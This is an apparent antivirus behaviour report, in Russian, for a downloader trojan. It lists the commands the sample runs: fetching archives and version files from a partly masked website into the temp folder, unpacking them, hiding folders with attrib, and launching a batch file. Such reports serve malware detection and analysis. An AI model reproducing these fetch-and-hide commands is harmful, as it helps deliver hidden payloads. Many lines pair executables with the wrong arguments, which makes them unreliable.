Trojan.DownLoader9.61123

Техническая информация

Вредоносные функции:

Создает и запускает на исполнение:

'%TEMP%\1.tmp\tasklist.exe' 1.1.1.1 -n 1 -w 125
'%TEMP%\1.tmp\tasklist.exe' /pid=3332
'%TEMP%\1.tmp\tasklist.exe' /pid=2768
'%TEMP%\afolder\uharc.exe' /pid=296
'%TEMP%\1.tmp\tasklist.exe' /pid=2940
'%TEMP%\1.tmp\BiscontiComputers-start.exe'
'%TEMP%\1.tmp\tasklist.exe' /FI "IMAGENAME eq BiscontiComputers-start.exe" /FO CSV
'%TEMP%\afolder\uharc.exe' x -t"%TEMP%\bisc" -y+ %TEMP%\afolder\curl.uha
'%TEMP%\1.tmp\tasklist.exe' /pid=3372
'%TEMP%\1.tmp\tasklist.exe' /pid=2848

Запускает на исполнение:

'<SYSTEM32>\find.exe' /pid=3836
'<SYSTEM32>\ping.exe' --progress-bar -o "%TEMP%\bisc\Piriform.uha" "http://www.bi#####icomputers.com/bisc_files/files/Piriform.uha"
'<SYSTEM32>\ping.exe' -s -o "%TEMP%\bisc\mbam-v.txt" "http://www.bi#####icomputers.com/bisc_files/files/mbam-v.txt"
'<SYSTEM32>\fc.exe' "bisc_files\mbam-v.txt" "%TEMP%\bisc\mbam-v.txt"
'<SYSTEM32>\find.exe' /pid=3864
'<SYSTEM32>\find.exe' con: lines=10
'<SYSTEM32>\ping.exe' con: lines=10
'<SYSTEM32>\ping.exe' /FI "IMAGENAME eq BiscontiComputers-start.exe" /FO CSV
'<SYSTEM32>\ping.exe' /pid=2992
'<SYSTEM32>\fc.exe' "bisc_files\ccleaner-v.txt" "%TEMP%\bisc\ccleaner-v.txt"
'<SYSTEM32>\find.exe' /pid=2792
'<SYSTEM32>\ping.exe' --progress-bar -o "%TEMP%\bisc\GlaryRegistryRepair.uha" "http://www.bi#####icomputers.com/bisc_files/files/GlaryRegistryRepair.uha"
'<SYSTEM32>\attrib.exe' /pid=3900
'<SYSTEM32>\attrib.exe' /pid=1144
'<SYSTEM32>\ping.exe' /pid=2656
'<SYSTEM32>\attrib.exe' +h dummy.file
'<SYSTEM32>\fc.exe' "bisc_files\glary-v.txt" "%TEMP%\bisc\glary-v.txt"
'<SYSTEM32>\find.exe' /pid=1632
'<SYSTEM32>\ping.exe' --progress-bar -o "%TEMP%\bisc\Malwarebytes.uha" "http://www.bi#####icomputers.com/bisc_files/files/Malwarebytes.uha"
'<SYSTEM32>\find.exe' /pid=1400
'<SYSTEM32>\ping.exe' /pid=2492
'<SYSTEM32>\ping.exe' -s -o "%TEMP%\bisc\glary-v.txt" "http://www.bi#####icomputers.com/bisc_files/files/glary-v.txt"
'<SYSTEM32>\ping.exe' -n 1 www.bi#####icomputers.com
'<SYSTEM32>\ping.exe' 1.1.1.1 -n 1 -w 125
'<SYSTEM32>\find.exe' "Reply from "
'<SYSTEM32>\find.exe' /pid=3124
'<SYSTEM32>\ping.exe' /pid=3072
'<SYSTEM32>\attrib.exe' +h %TEMP%\ztmp
'<SYSTEM32>\attrib.exe' +h "<Текущая директория>\\bisc_files"
'<SYSTEM32>\cmd.exe' /c ""%TEMP%\1.tmp\BiscontiComputers.bat" <Текущая директория>\"
'<SYSTEM32>\find.exe' "BiscontiComputers-start.exe" %TEMP%\running2.log
'<SYSTEM32>\find.exe' "BiscontiComputers-start.exe" %TEMP%\running.log
'<SYSTEM32>\ping.exe' 1.1.1.1 -n 1 -w 4000
'<SYSTEM32>\ping.exe' /pid=2620
'<SYSTEM32>\ping.exe' /pid=2800
'<SYSTEM32>\fc.exe' "<Текущая директория>\bisc_files\aiov.txt" "%TEMP%\bisc\aiov.txt"
'<SYSTEM32>\ping.exe' /pid=1144
'<SYSTEM32>\ping.exe' "BiscontiComputers-start.exe" %TEMP%\running.log
'<SYSTEM32>\ping.exe' /pid=3448
'<SYSTEM32>\mode.com' con: lines=10
'<SYSTEM32>\ping.exe' /pid=3260
'<SYSTEM32>\find.exe' 1.1.1.1 -n 1 -w 125
'<SYSTEM32>\find.exe' /pid=3516
'<SYSTEM32>\ping.exe' x -t"%TEMP%\bisc" -y+ %TEMP%\afolder\curl.uha